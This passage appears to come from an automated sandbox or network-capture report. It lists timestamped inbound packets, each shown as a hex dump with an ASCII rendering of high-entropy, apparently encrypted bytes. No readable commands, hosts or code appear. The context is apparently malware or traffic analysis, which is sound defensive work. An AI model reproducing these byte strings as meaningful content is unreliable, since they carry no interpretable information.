2022-05-17 14:51:08 UTC	19	IN	Data Raw: 7a bd 25 af 5c 62 eb b5 2e 1d 52 74 e0 95 e3 c1 a1 8f 28 93 1a e3 29 e1 76 8a 4d d4 34 fe 4d 8a 13 9b af e3 22 cc fd b3 a2 ba fd a4 76 d5 a8 16 8b 63 02 0e 28 d3 f0 82 c5 22 69 3f 52 9c 74 95 b3 90 af 74 b0 7e 0e 6b e5 e6 ff 19 d2 26 12 7f 27 9e 38 77 9c 2e ed 62 3d ef 2e 56 5d 65 57 6a f5 e3 15 fe b6 54 93 c6 d4 f7 cf d6 ad 4d 6c 0c 35 77 6e b9 09 ba a8 af 87 43 c0 89 df 55 d3 5c 10 b6 c1 80 91 79 1b a1 8c 13 59 ec 72 8b 8e b3 7f 76 6d f6 8a c4 a5 38 78 0b f6 cf ee fe 14 b4 8f cc 58 1b fd 75 1f 3a 26 ff e2 28 75 90 db b2 18 9b 0b 47 4d f9 ff 41 c9 6d 32 86 fb be 32 43 f1 26 34 10 e1 b4 95 38 97 69 5f d4 9a 82 50 9b a0 cb 17 ed f4 2d 7b 6a 46 16 0e 65 c0 a6 ed 80 46 d0 60 61 3c c7 75 21 2c b1 5b 99 98 d1 aa b1 2c 6b d0 cb cd 88 d1 ec d4 d6 9f dd 8a a5 c5 Data Ascii: z%\b.Rt()vM4M"vc("i?Rtt~k&'8w.b=.V]eWjTMl5wnCU\yYrvm8xXu:&(uGMAm22C&48i_P-{jFeF`a<u!,[,k
2022-05-17 14:51:08 UTC	20	IN	Data Raw: 90 48 aa 2e cd a9 51 95 cb c7 a2 6d 3e d7 ab 69 c2 7e d8 6d 3c 4d b2 32 4e a2 c0 38 36 37 18 94 c3 9d c6 d8 85 ff f6 9c 28 6a 22 64 68 8d 69 cc e8 a9 15 4f e9 dd fa 45 41 da 71 33 42 82 bd c6 da 26 e4 20 fb 30 fa 98 4d 8a f5 94 2d 26 1c 84 f0 11 b7 7f 67 7b 22 89 88 84 81 04 10 64 b9 7a 4f 5d e2 ba a7 00 06 33 44 58 ac 55 a0 2f 8a ab c0 16 d2 d2 bd 45 ed 0a 3b 6b cc 6c b9 7d ec 2f 24 bf 3c d2 26 5a 94 dd 99 4f 59 6d 4a de 7a 36 e5 6f 92 fa a5 dd ec e6 53 21 30 c0 f1 1f 09 bd 03 89 68 45 90 fa c6 6d b5 94 de 6a d4 5b 0c 23 ff 35 98 00 2e 00 93 7e b5 a5 b9 98 94 5d 4c c7 20 73 ed 46 0c c2 09 1b 9f 5f 24 4b 2b 69 c6 7d e3 e7 ab eb 75 78 13 2e 0c 0d 70 85 fe 05 39 48 74 ff 4d 9b 8b ec 3e 84 de 32 00 e2 65 aa 37 93 1f 51 6f ec 39 c2 63 37 77 4d 9c b5 95 eb dc Data Ascii: H.Qm>i~m<M2N867(j"dhiOEAq3B& 0M-&g{"dzO]3DXU/E;kl}/$<&ZOYmJz6oS!0hEmj[#5.~]L sF_$K+i}ux.p9HtM>2e7Qo9c7wM
2022-05-17 14:51:08 UTC	21	IN	Data Raw: f4 ca ee 90 e4 14 1f 92 21 08 17 34 c1 c8 0b 42 9e 6b a0 1b 9f 19 45 63 8e 4b 41 c3 7d 36 ec dd b8 43 88 f2 2d 1b db ce 40 96 32 b6 e4 45 97 9c fd 5c b3 47 cf 15 88 55 26 05 5d 44 79 87 4c ca a1 82 bb 98 f4 43 97 5a e2 5d 67 36 9c 49 a1 bd ef 9d 92 87 60 f8 34 c9 8f f7 26 47 06 81 f3 5d c4 c5 8d 52 15 5f f9 67 ef 0a 2a ac 66 ec 53 e2 d9 21 d9 bd 4c 8f 80 e6 9f 3d 5d 2b 17 3e 77 e0 bf eb 7f 34 07 cf d1 a8 83 3b 6e d0 ad 13 74 8d c0 6a 48 99 ac 1e 8c 86 41 79 04 28 57 a0 22 a8 5c f9 21 ff ae 9a a0 ed 3b e1 10 ce ca 13 b6 b4 8e 75 ef 9f 79 a4 ff 3b 04 d7 c5 c0 43 d6 a8 4f be d8 d3 a8 a8 e2 a2 82 8f 1b cf 49 53 6c 82 74 14 99 fa e8 7a 87 74 5d 5d fe f9 c4 29 01 7f 11 0a 63 91 4a a4 13 c2 c0 94 8c 30 4f a2 b0 09 03 d5 7d c9 87 a5 8e 0c 64 f7 0e 22 ec 63 52 a4 Data Ascii: !4BkEcKA}6C-@2E\GU&]DyLCZ]g6I`4&G]R_g*fS!L=]+>w4;ntjHAy(W"\!;uy;COISltzt]])cJ0O}d"cR
2022-05-17 14:51:08 UTC	22	IN	Data Raw: ad 21 23 05 a2 66 3d a0 f2 ee da 99 81 f3 4c 35 10 0c 29 25 18 57 a8 cc 00 93 7c b4 6f 81 3a 94 5d 4a 85 5e 11 91 46 4d eb 12 1a 9e 4e 03 16 27 c9 ed 5e c3 e0 8d 3b 7a 52 83 a7 0d 0b 08 b4 f3 05 3d 4a 06 ce 4f bd aa c7 68 af de 3e 05 45 67 c5 b8 94 08 0f 1e e6 31 f3 be c1 c1 4a b4 39 4b b5 d0 8d 6f a7 41 6d fd b3 df 52 17 a3 62 5b a3 5d 06 e9 e5 76 95 8e 20 35 54 b0 64 4f 47 29 17 7f 3e d3 89 90 42 d8 d6 59 41 c7 cc a9 a0 fb 7f c9 8c 6f 32 44 de 79 6c fb f4 49 7a 82 ec 22 2e 86 11 b5 c6 af 21 57 45 c0 8d 31 c4 72 76 e8 3f a8 5b 60 bd 29 2e 1d 50 4b ee 78 e3 cb 75 95 7b c3 3c e5 53 f1 f8 8b 49 ac 29 e8 33 b7 7c 88 aa e1 47 9b db b9 8f 2a d4 8c 3a d1 c7 32 92 4e 10 0e 05 fb a2 a6 05 3c 41 c0 52 88 72 95 3b 90 e4 34 98 1f 0f 68 df 32 fc 23 f9 c0 38 7f 26 8e Data Ascii: !#f=L5)%W\|o:]J^FMN'^;zR=JOh>Eg1J9KoAmRb[]v 5TdOG)>BYAo2DylIz".!WE1rv?[`).PKxu{<SI)3\|G*:2N<ARr;4h2#8&
2022-05-17 14:51:08 UTC	24	IN	Data Raw: 8e 5d 82 1a fd 01 37 8f 4a b4 c5 bf 64 10 c6 e2 fa b6 b4 87 65 6d 8c 6d a4 d7 b4 04 d7 c3 e6 6a cf f6 62 b2 fe ad f9 a8 ef 93 aa 11 5d cf 4f 78 48 a9 86 07 d9 8f e8 fc 87 74 5d 12 fe f9 51 2a 2b 99 11 06 25 86 57 88 4f e4 2d b7 85 fd 45 b0 db 53 25 c6 7d ea 60 a5 83 f8 64 f9 5c 62 c4 46 48 94 fd 94 05 2d 99 cf 6a 79 ae 36 5d 14 ec b5 2e 2e 59 ae ef b6 94 6c 09 69 af af 2f ec 8f 27 60 04 9e 47 7e a1 55 40 fc 0e 06 51 c3 d7 a0 44 80 1f 09 64 f5 67 6d b3 b4 f7 bf 39 ab c2 47 26 7c 17 d1 72 30 b7 c9 0e 73 a2 8a 6b fe 9c ef 11 2e cd b8 3e ab c2 e1 bf 56 30 d1 b9 67 34 cd d2 46 c3 07 c1 7e 4e a8 cd 30 1f 07 ab 93 e3 0d c8 5a 9b d7 03 f3 73 6c 0a da 48 ff 4f 34 97 81 ea 45 37 d8 e3 6a 8f 64 60 15 49 80 b9 ee 4f 26 e4 2a fa 4b fa bc 01 a2 58 95 36 1c 30 31 59 11 Data Ascii: ]7Jdemmjb]OxHt]Q+%WO-ES%}`d\bFH-jy6]..Yli/'`G~U@QDdgm9G&\|r0sk.>V0g4F~N0ZslHO4E7jd`IO&KX601Y
2022-05-17 14:51:08 UTC	25	IN	Data Raw: e7 31 1d 1a 63 d3 1c a3 0b d3 0f c8 a5 84 da 5f 6a e5 35 b7 c6 1c 3e 9a 2e 1c 5c 6a 88 70 e5 e9 75 95 05 86 16 e8 7c 53 7d a1 9f a6 2e 1a 4d 8e 6f b8 a8 e3 73 12 da b9 e9 51 d8 9d 38 c3 32 65 db 4e 1a 29 5e bb 8a a7 14 26 6c 81 74 9e 65 27 73 3b af 72 99 09 22 52 c9 3a e4 88 80 8d 38 7f 27 ff 75 77 9c 2f f7 4f 7c a3 2c 6b 81 1c 1a 6b ee d2 60 b3 2d 54 92 cd 90 ed 55 b3 78 5f 6d 0d 35 18 45 b1 00 b9 b9 e8 b5 43 c0 85 ed 6b c6 51 aa c4 95 45 9c 56 dc ce 71 23 5d e6 1e 9b a5 b0 14 5d 80 e1 f6 ad 3f 41 34 64 e2 cf 9f bc ca 90 ab f1 39 3c db 7d 1f 8d 4a 72 e5 08 65 ab 26 b2 16 66 13 dd 32 9c 4b 41 c8 1a 57 e7 fb bf 2f b0 e2 0b 17 f1 cf 43 75 38 9d 11 44 d8 b1 51 42 98 a7 c1 3c 09 ca 17 00 5b 0c 16 0a 4d a8 a7 ed 9b 9a e2 df 30 38 c7 75 2a 47 d4 43 bf 91 e4 96 Data Ascii: 1c_j5>.\jpu\|S}.MosQ82eN)^&lte's;r"R:8'uw/O\|,kk`-TUx_m5ECkQEVq#]]?A4d9<}Jre&f2KAW/Cu8DQB<[M08u*GC
2022-05-17 14:51:08 UTC	26	IN	Data Raw: ae 54 2e 69 34 15 7f 3a 77 fd 86 95 a5 80 88 9a fb 6a 7c 7b cd a3 4b be ad 18 a4 45 32 d0 b8 69 c2 51 c3 4d e1 e2 9a 7e 44 7e db 28 31 2f 3e 92 a2 33 e0 08 9b d7 09 9c 59 6c 0a d0 67 8d 6f e4 09 a9 15 45 38 de f1 6e d5 f0 60 14 41 92 bd c6 e6 26 e4 20 ac 18 fa bc b1 8b f5 95 3e 16 18 84 59 11 b7 7f 03 53 c4 98 f6 c8 ac 06 02 58 82 59 7a 6a c9 33 ca 00 0c 18 2e 53 87 b1 f3 d4 ad 7b d4 29 00 c3 9b 45 dc d0 74 6a ca 70 b7 7d c8 2f 35 8b 01 d6 06 2e f5 30 92 60 c3 70 24 8e 71 1e db 45 93 e8 90 6e ea c0 5d 25 08 ea f2 15 0a db 0b e6 3f 3a a7 f0 ed 68 8d 8c fc b4 db 10 0c 22 d3 58 55 80 68 33 91 6c b4 67 bc 38 82 77 43 be 1e 38 ed 4c d8 b4 12 1a 9d 7d 75 12 27 69 82 1e c2 b4 87 15 69 46 c6 39 26 0b 0e cf fd 35 37 4e 14 e3 4c 9b 81 c4 62 84 dc 2f 3d 7a 62 8c 5e Data Ascii: T.i4:wj\|{KE2iQM~D~(1/>3YlgoE8n`A& >YSXYzj3.S{)Etjp}/5.0`p$qEn]%?:h"XUh3lg8wC8L}u'iiF9&57NLb/=zb^
2022-05-17 14:51:08 UTC	28	IN	Data Raw: 9d bc 90 bf 6c 8a 7c 92 de c3 5d 1a 02 87 a8 8b 91 ac 0e ac f3 34 e1 f6 ae 69 71 58 bc 83 6d 01 d3 6d c9 ae 62 13 67 6d 0e 0c 72 af 0e 7c 81 9e d8 5d fb 97 b3 19 e0 e9 58 b4 b0 28 71 0b b2 fc e3 2c d5 21 ae 72 81 47 25 7e 0d 46 16 0e 53 e7 99 cb 88 e3 a3 45 49 74 db 58 1c 10 bc 06 39 58 90 dd f1 9a 13 9d 51 ab ed b1 a2 05 ce b2 fd 84 e4 25 43 6a 9f 39 9c 07 a1 0e 4f ca 0a 57 36 8c e4 ed de 99 72 fe 85 cd db 1a ff 84 e6 d3 8a 15 82 25 73 1f db ad 99 70 90 35 99 2f 8d bc 6e ef c1 5b 2b f8 aa 5a 9d 82 47 68 37 37 45 93 3b dd 8e a1 40 a7 a0 8b ae e4 19 77 14 c7 c2 09 d4 bc 96 26 84 97 35 b5 fb 3d 15 d3 dc 9f d4 96 d7 3b b9 ef a8 c0 f0 f1 ad bb 3e 04 ef 7c c6 5c ba 80 2c a2 f9 f9 f4 91 ea 4c 14 e9 a1 c6 2c 29 08 0b 39 93 8e 3d 96 6f 86 fb b0 9c 37 42 d2 fd 40 Data Ascii: l\|]4iqXmmbgmr\|]X(q,!rG%~FSEItX9XQ%Cj9OW6r%sp5/n[+ZGh77E;@w&5=;>\|\,L,)9=o7B@
2022-05-17 14:51:08 UTC	29	IN	Data Raw: c2 5d 56 f7 79 8f d1 ca 65 fd e3 43 7a 56 c0 f1 13 3b 0e 3c af 10 66 a7 fa c2 49 df 98 f5 64 45 15 6c 42 e7 33 64 a6 73 05 84 23 8d 6b 80 3c 85 58 25 9e 5f 39 e7 55 0f bc 15 36 b4 7e 13 1e 0c ff e0 75 61 34 d0 3b 6b 54 c7 84 1f 0f 25 7a ed 00 16 f8 08 e5 67 25 01 99 62 84 da 13 e1 46 62 c5 61 94 08 03 4e eb 25 e0 b2 97 2d 4a b4 3b 84 ee f6 0f 00 2e 40 35 9a 48 8e 52 17 a3 1c 67 8f 54 11 3f c1 02 bc c2 2a 1e 5f bf 5a 62 70 0e 16 48 90 90 a1 6f 46 f8 63 03 2d 4e ac 29 fb 80 73 cd 9d 62 ca 97 de 79 67 cd 9f 40 5c 8e 3f 32 16 8a 64 c3 1c a3 0e 82 e2 c8 a5 85 a5 f2 2d c3 37 aa 4d 62 b8 81 3f 14 42 9d 8e 6b e9 d0 a1 b9 15 fe 61 e5 57 9a 56 19 11 a9 05 9f cd d3 7c 88 aa f2 22 03 dc ad 77 50 ce 72 3b e6 a5 62 ce 4e 1a 2c 30 d3 eb 27 48 3c 41 c4 2c c1 72 bd 03 b0 Data Ascii: ]VyeCzV;<fIdElB3ds#k<X%_9U6~ua4;kT%zg%bFbaN%-J;.@5HRgT?*_ZbpHoFc-N)sbyg@\?2d-7Mb?BkaWV\|"wPr;bN,0'H<A,r
2022-05-17 14:51:08 UTC	30	IN	Data Raw: bb 70 e2 cc 41 48 9f 8d bf 8c 86 41 4a 2f 56 14 f0 22 86 75 ff 20 fe aa 8e 2a b7 40 64 14 d4 ef 93 e8 b4 8d 41 65 c4 6d a4 fb 3d 17 f7 1b c8 51 ef 9e e8 b2 fe a7 0b b9 c2 82 aa 3b 5a fb 4f 79 4a a9 86 07 4b fe e8 f2 8d 74 5d 12 12 f8 d5 2a 28 0e 11 0a 11 86 57 88 4d e4 e8 b7 98 30 45 bc 3f 56 25 c7 ca ef 87 a5 86 0c 64 f7 1a 62 c4 47 50 94 f0 94 30 2c 99 cf 33 79 ae 27 49 20 80 99 08 04 25 85 22 85 b3 b5 2f 6b b3 0a b8 ec 8f 20 04 71 94 61 52 9c 05 39 da 70 3e 7a 2f ae ac 1f 80 1b 24 8d db 47 41 a5 a8 f1 94 53 2b f6 47 26 7a 22 01 54 1c 72 a1 6b 58 4f 9f 46 c9 b1 97 02 2d fd a9 4f 8c c2 e1 a4 45 34 d6 ab 61 0a 41 ff 60 ef 70 b2 7b 4f a2 cc 20 07 34 13 8e c5 7c 83 08 9b d3 1f 0d 2a 74 11 fd 7b ab 14 87 89 a9 11 52 a6 c0 93 0e cf da 46 3e 9b b4 96 27 fc 0d Data Ascii: pAHAJ/V"u @dAem=Q;ZOyJKt](WM0E?V%dbGP0,3y'I %"/k qaR9p>z/$GAS+G&z"TrkXOF-OE4aA`p{O 4\|*t{RF>'
2022-05-17 14:51:08 UTC	31	IN	Data Raw: a9 80 08 4a 8c 6b 1e 0f 87 3c 61 e5 d9 40 5e 84 c1 33 0c 80 1a 9e 23 a3 0a a2 55 c8 a5 85 fb 72 70 c3 1b ae 5c 68 a6 9a 2e 1d 7d 5e a7 77 e2 c1 ad be 33 8f 3c 9e d2 9e 76 8e 61 bb 04 fe 4b a5 54 87 ae 98 ac 12 da bd 86 51 a3 09 3a d5 ac 34 83 4f 1a 2e 04 e0 a2 b5 14 3c 47 eb 5e 93 72 c6 82 90 af 76 b0 0c 0f 6b e9 12 fc 12 e7 d7 10 d6 26 8e 3e 5d 87 1e e9 62 30 85 2e 72 6e 65 57 7a ec fb 3e ff 2d 52 85 ea 94 d1 c9 eb ed 74 6e 06 14 f1 47 c2 1c be bf c4 7e 40 af b6 c7 78 c4 a4 53 ed 96 cc 91 7d 05 d8 4e 0d 7f e0 25 8e a5 b0 71 5a a0 fe de 6b bb 10 83 64 e2 c8 c6 47 ca 90 ac cc 75 1b fd 75 d6 09 35 f2 05 28 46 9f db b2 18 9b 0b 47 4d d3 c7 09 c9 6b 1b cf a7 be 38 97 81 59 1f f6 c3 11 bf 38 9c 07 6e d4 9a 86 5b b3 48 ea 17 cd 9f 27 05 5a 55 26 0f 4d 22 a7 ed Data Ascii: Jk<a@^3#Urp\h.}^w3<vaKTQ:4O.<G^rvk&>]b0.rneWz>-RtnG~@xS}N%qZkdGuu5(FGMk8Y8n[H'ZU&M"
2022-05-17 14:51:08 UTC	33	IN	Data Raw: d3 c9 bd 86 00 1f 5c 8e 5d 9b bb 8f 0e 94 53 2d 54 41 39 69 1c 5c 53 cb 4a f2 f6 58 4f 9d ce e9 85 72 22 63 e7 73 51 90 3d e1 a4 43 96 d0 b4 70 3c 2e f8 96 d7 40 65 7e 4e a4 68 24 04 3b 1e f2 c9 d7 fe 20 64 d7 09 9a 8a 6a 15 c5 48 e6 45 34 97 81 ea 45 37 d8 53 68 b8 e6 40 00 69 42 a3 ee 25 26 e4 26 70 1f 7a d1 0b 8a f1 bf 3c 2e eb 79 a6 ee 37 14 2d 7b 26 a0 c9 30 7e fb 1e 4a d3 8d 96 a5 4a 5f a7 00 08 20 d5 ad 78 5f 8a a2 36 85 21 c1 2d d2 ae 73 c0 bf 82 6b ca 7a db 50 c1 18 30 8f 0b fc 00 22 ad bc 98 4b 3c 6d 66 ee 56 0f d5 10 f9 fc 8d 47 62 51 3a 6b 04 c1 fb 04 0c 01 25 f7 05 3b a7 fe d7 6c 03 9c d8 7e 72 6e 60 23 fb 1a 44 85 f8 0b ed 05 9e 6e 9b 36 bf 56 59 d5 75 f4 fe 43 23 76 1f 31 7b 2b 5e 12 27 67 fc 5a bd d9 8d 3b 6f de 5b 41 6e 0a 0e c5 64 09 35 Data Ascii: \]S-TA9i\SJXOr"csQ=Cp<.@e~Nh$; djHE4E7Sh@iB%&&pz<.y7-{&0~JJ_ x_6!-skzP0"K<mfVGbQ:k%;l~rn`#Dn6VYuC#v1{+^'gZ;o[And5
2022-05-17 14:51:08 UTC	33	IN	Data Raw: 0b fb ae 44 38 0e 15 09 0c 0a 57 89 45 fa c5 b4 ab ee 4f b6 b6 a8 22 ef f7 ea 87 af 52 0a 4e f7 1b 72 c4 47 51 a4 ec 94 0d 06 99 c8 33 79 ae 27 50 38 c4 99 8c 0e 27 86 1b a8 bc 82 0b 12 c7 87 9a e8 96 0c 1a 7a 97 6f fd b6 78 51 f1 73 37 7a 36 a0 5e 1f 80 15 14 51 ca 51 49 de c9 f1 94 57 44 64 47 26 72 20 32 7f 3d 7f e0 05 73 a3 90 47 17 92 72 04 3c cc 8b dc b8 c2 eb b7 41 26 d2 83 f7 1c 59 d8 54 c8 40 09 7e 4e a8 d9 27 09 2a 16 06 e3 07 ea 20 c9 d7 09 96 00 fa 0a d0 62 9c 69 8b 1e a9 15 4f 25 df d9 f6 a7 f0 6a 38 80 9a d2 5f da 26 ee 2a 0c 1e f3 94 81 8a f5 9f ea 10 32 85 49 11 b7 7d 2d 6e 22 fe 8d ce 86 04 14 72 95 70 59 50 ca 3c a7 00 0c 18 47 53 87 a2 9c 87 81 7c f8 16 4b d3 bd 49 ef 99 10 9c ca 79 92 59 c1 1c 32 a7 11 fd 00 24 de df b1 0a 36 77 41 dc Data Ascii: D8WEO"RNrGQ3y'P8'zoxQs7z6^QQIWDdG&r 2=sGr<A&YT@~N'* biO%j8_&*2I}-n"rpYP<GS\|KIyY2$6wA
2022-05-17 14:51:08 UTC	35	IN	Data Raw: 3a d1 a7 1f bb 9d 1a 28 25 9c fe a6 15 36 4f c4 6b be 76 bd 07 86 a1 76 16 a8 19 32 f6 15 f6 34 e4 ed 32 59 1e 8b 3c 77 9c 3d e1 49 a4 96 2b 59 e8 6b 53 7a eb 49 7e 8b 2c 54 99 d3 bf fb e9 d6 d7 30 1b 0d 3f 03 6d ae 22 ba ac c4 41 b2 d1 87 ef 0f c3 7a 1c dd 93 83 b7 56 0b dd 66 38 59 98 28 9b a5 b4 64 59 ef 88 f5 bb af 24 51 08 c4 b0 9d f4 ca 94 a3 8b 67 1a fd 75 01 52 28 d9 e5 08 6e b5 0b ac 18 64 0b 47 0d d1 4b 41 bc 6b 1a e7 68 be 38 9d 43 2d 1f f6 06 6b 95 38 70 17 6e d4 91 87 49 b3 6e ca 17 e7 9e 26 05 5b 23 17 0a 4d 49 a6 ed 8a 04 f5 45 49 ca c6 75 2b ee 9d 43 bf 66 f0 bb 94 df 77 f8 34 49 8a d7 c4 cb d4 9f db 42 c6 c5 8b 4d a5 5f f9 4a c4 66 01 3e 54 74 53 e9 f2 bf b8 bf 64 e9 8e e2 84 15 5d 8c 39 2c 75 1f d8 c5 7f 34 1d cf c0 a9 83 3b 8a ef 86 bb Data Ascii: :(%6Okvv242Y<w=I+YkSzI~,T0?m"AzVf8Y(dY$QguR(ndGKAkh8C-k8pnIn&[#MIEIu+Cfw4IBM_Jf>TtSd]9,u4;
2022-05-17 14:51:08 UTC	36	IN	Data Raw: 86 89 6f e4 f7 a9 15 54 49 ae f1 6e a3 e9 4d 04 65 83 b5 ee 52 26 e4 2a c3 11 d2 35 0b 8a ff be 32 05 10 af b5 6f cf 7f 2d 7f 20 8e f4 40 36 6b ce 72 95 79 77 77 e0 15 a5 73 cb 18 47 59 9a 8d a6 bc d2 09 de 3e 29 a1 75 43 c5 b5 21 46 d5 5c dc 21 c1 09 36 c8 9e fc 00 2e e7 59 99 4b 36 5c 5f 20 7b 1e d1 45 43 7c ff 43 ec e2 7e dd 85 b0 f1 19 25 08 d8 f7 1f 3b a7 fe a9 a0 99 81 ff 73 79 5f 2a 5d 89 1e 55 84 74 16 e0 f7 9f 6e 9b 20 b9 1e 6c c0 5b 2e b4 51 50 20 30 1a 9f 54 28 3f 1f 45 fc 5a ca a2 84 b5 dc 3f 7c 2f 0c 01 28 de fa 6a 44 4e 1b e9 45 e8 46 c4 62 8e c5 15 35 71 1b d8 31 95 0c 7a ad ea 31 f9 3a 98 70 4a b0 14 87 f8 d3 a4 ae 3d 44 46 41 c5 f8 94 97 d5 0d 6f a7 76 dd 25 ac ad a8 f1 20 35 5c b9 4b 15 10 09 3b 5c 81 5c a0 6f 48 a5 52 5b 2e 4a df ab d8 Data Ascii: oTInMeR&52o- @6krywwsGY>)uC!F\!6.YK6\_ {EC\|C~%;sy_]Utn l[.QP 0T(?EZ?\|/(jDNEFb5q1z1:pJ=DFAov% 5\K;\\oHR[.J
2022-05-17 14:51:08 UTC	37	IN	Data Raw: 75 6c d4 9a f9 49 b3 56 c8 6c f6 d9 27 01 58 3d 06 0a 4d ce d4 c0 8a 98 f2 5c 64 51 e1 76 2c 2a b1 5d 99 b6 f3 c5 88 fc 75 fc 4a d0 88 d7 c0 48 88 9e db a4 d2 e9 9b 5c af 72 e6 4a ca 60 01 71 11 27 50 e9 f6 ea 16 b2 4f 03 a0 db be c0 d9 dd e6 2c 75 18 da 91 7f 34 16 da c1 f0 83 31 b8 d0 a8 a6 52 84 a9 e6 49 99 a7 14 16 9f 6c 6d 15 2e 21 57 23 82 10 ea 28 e8 bf 92 92 33 40 64 10 cc e1 f2 bc 9f 67 54 ec 8e 65 3e ec 3e d4 c4 c5 c0 41 e6 f0 62 b2 f4 bc d2 c7 4a a9 aa 31 74 66 4e 79 40 85 97 0f ae 8c cc f2 87 72 32 49 fe f9 df 12 9a 0e 11 0a b3 93 57 89 4e cc ae b7 8d 3a 54 b9 f2 fb 24 c7 77 85 2e a4 8e 06 48 e6 12 65 b7 7f 53 a4 ff fb 43 2c 99 c5 0b 00 ae 27 4b d8 d7 99 08 0f 0f c0 3f a8 b6 82 0c 06 01 86 9a e6 e0 88 12 5c 94 6b 7a be 7f 28 ff 71 3a 57 ac 88 Data Ascii: ulIVl'X=M\dQv,*]uJH\rJ`q'PO,u41RIlm.!W#(3@dgTe>>AbJ1tfNy@r2IWN:T$w.HeSC,'K?\kz(q:W
2022-05-17 14:51:08 UTC	38	IN	Data Raw: 53 4a 32 27 63 ec 2f e3 b4 8d 3a 41 43 dc 2c 0c 2b 0e cf fe 0e 3d 4e 0a c3 71 b6 51 da 4a 7b de 38 2e 41 e9 8a 31 95 09 21 36 eb 31 f5 c3 c9 70 4a b5 4e b5 eb d6 8e 2a 3d 70 6f fb e8 d3 52 17 ac 0d 6f b2 7d d4 19 7e 4d 95 3d 20 35 58 bc c5 4b 61 09 3a 70 bd cc a1 69 3b f8 d0 5b 2f 3f ed a9 a6 81 59 da bc 69 1a 38 de 79 66 ee d9 40 4d a4 0e 1d d5 9e 32 61 1c a3 0c b4 ce e8 a5 85 c5 5a 23 c2 37 a8 25 48 95 9a 2f 6c 76 63 8f 79 c9 d2 9b 97 05 a0 3c e5 57 95 76 8a 58 8a e1 d0 9d 90 54 77 ae e3 2e 04 56 99 89 51 d9 a4 69 d4 a8 1a ea 6e 1a 28 2e 82 aa a7 15 3d 6b d3 62 9e 72 9d 07 90 af 7e 98 1f 1f 4b 75 16 2c 0c d1 3f 38 7f 20 98 b4 3b 9c 2e ec 4a 04 84 2e 74 62 29 57 6b ef a2 5d fe 2d 55 b9 d5 a2 f5 cf e3 d3 5f 6d 00 3f 09 50 99 82 90 6f de 42 bc c0 83 c1 58 Data Ascii: SJ2'c/:AC,+=NqQJ{8.A1!61pJN*=poRo}~M= 5XKa:pi;[/?Yi8yf@M2aZ#7%H/lvcy<WvXTw.VQin(.=kbr~Ku,?8 ;.J.tb)Wk]-U_m?PoBX
2022-05-17 14:51:08 UTC	40	IN	Data Raw: 12 e7 16 78 4a af 8c d9 82 f2 c3 3b 8b 5f 8c 19 d5 18 f0 02 74 0e 11 00 70 82 46 8d 6f e2 c7 67 93 18 ba bc 9d 55 0d 73 7d ea 81 b3 84 24 05 f7 1a 68 1a 47 55 8e 36 94 19 3c 99 cf 33 79 ae 27 0d 4e c1 bb 4e 0e 27 87 24 98 bf 93 48 69 a9 87 12 ec 8f 30 3b 04 9f 47 72 9e 21 5a da 76 20 7c c0 f5 11 30 8a 34 f4 59 f0 3b 4b a5 ad e7 b8 4e 0d f1 67 0e 57 ec 01 51 e4 54 da 0f 70 fb 9b 6c e9 8c 77 2f 25 eb 8b 2e b8 c2 eb 7a 43 3f fd 4a 69 37 aa d4 6c e2 b9 91 7f 5e a2 ca 22 1b 2f 3e 80 f0 07 cc 4e 9b d7 08 8f 18 6b 0a ee 68 8d 6f 6d 89 a9 04 53 21 c8 82 d6 a6 f0 6a 00 6e bf 9b ce b5 9f e5 20 d8 0e a3 ab 53 07 d7 95 36 17 0e a8 44 37 bf 78 3b 14 98 99 f6 c4 9b 10 00 66 92 65 1a e1 cb 33 ad 73 b0 19 47 59 ad ac ab 4b a7 50 3f 3e 2d c1 8d 47 c5 94 3b 6b ca 7b a2 50 Data Ascii: xJ;_tpFogUs}$hGU6<3y'NN'$Hi0;Gr!Zv \|04Y;KNgWQTplw/%.zC?Ji7l^"/>NkhomS!jn S6D7x;fe3sGYKP?>-G;k{P
2022-05-17 14:51:08 UTC	41	IN	Data Raw: 05 fa 66 1f 01 15 ae e3 2c 39 4f c4 17 51 d8 88 11 4c a8 1c 80 7e 19 28 ca f3 8a a7 97 3c 41 d1 50 b4 33 bd 07 9a ad 65 8d 25 b7 6b ef 38 da 34 fb e0 c7 80 26 8e 2e 4e 29 2e ed 62 71 a3 2c 52 1b 65 f7 6b f0 e9 a0 fe 2d 54 b5 e0 90 d7 cf c7 73 5f 10 ac 3f 09 45 bb 29 7a b6 c0 6a 3e 61 83 c7 7c c0 5a 56 d7 be 80 ec df 0f ce 66 11 2a a7 5e 9b af 98 27 5d 80 fa 89 01 a5 38 78 66 e1 b3 43 f4 ca 94 a8 cc d9 1a fd 75 02 05 3e 27 f3 40 64 b5 0a c3 65 64 0b 4d 36 7b 4b 41 cd 69 0d 9a 53 be 38 99 f0 2e 70 38 c8 6b 9f 4c fa 17 6e d5 f5 49 48 b3 4d 1a 6a 41 d9 27 01 59 42 6b 96 4d ca a3 ef 8f e5 69 45 49 74 c5 7b 2f 4b 02 43 bf 94 f3 b5 91 81 ea f8 34 c9 8a b8 52 61 d6 99 d9 a1 ab 58 8a 7a a0 75 84 fd c7 6b 2e 94 53 cd af 16 8f 5c cb bf 60 d5 c3 19 6a ef ba 6b 19 2c Data Ascii: f,9OQL~(<AP3e%k84&.N).bq,Rek-Ts_?E)zj>a\|ZVf*^']8xfCu>'@dedM6{KAiS8.p8kLnIHMjA'YBkMiEIt{/KC4RaXzuk.S\`jk,
2022-05-17 14:51:08 UTC	42	IN	Data Raw: 3d 04 c9 93 e0 37 e9 08 bc d7 09 9c 28 6c 0a d0 6b ad 67 a8 88 a9 3a 55 17 8b c1 be b9 d8 9f 15 43 94 ce b2 da 26 ee 5a d0 1a e7 91 08 ac d3 bf 4b b6 18 84 5d 3a 4f 7f 3e 4b 21 98 f9 ce 81 04 18 72 95 62 6b 47 d1 1e a0 26 77 b9 47 53 83 8a a6 b1 5b 7b dd 0e 24 d2 b2 43 c5 bf 3b 6b ca 7a a0 53 d7 25 31 81 37 d7 7d 85 de dd 9d 60 ce 77 58 ee 73 1e de 6e 92 fc 81 43 ec f7 57 1e 13 ed f6 3f 5a 81 03 89 6a 11 81 d1 31 69 9a b1 fc 64 5b 10 0c 23 fb 1e 55 80 60 03 86 57 9d 48 b7 10 e9 ff 4a d1 5a 12 15 46 1b 9d 11 1a 90 55 33 12 b7 63 ed 4f c1 af 96 16 6c 76 97 8d 0c 0b 0a e5 d8 2e ca 4e 18 d3 45 9b 8e c4 62 84 de 38 28 57 67 a9 2a b8 0b 2f 43 c0 4c 50 ba e9 74 61 4c 3f 86 db d2 8f 2d 2e 40 6d 6a c8 d3 43 15 bb 10 42 a9 7b 7b 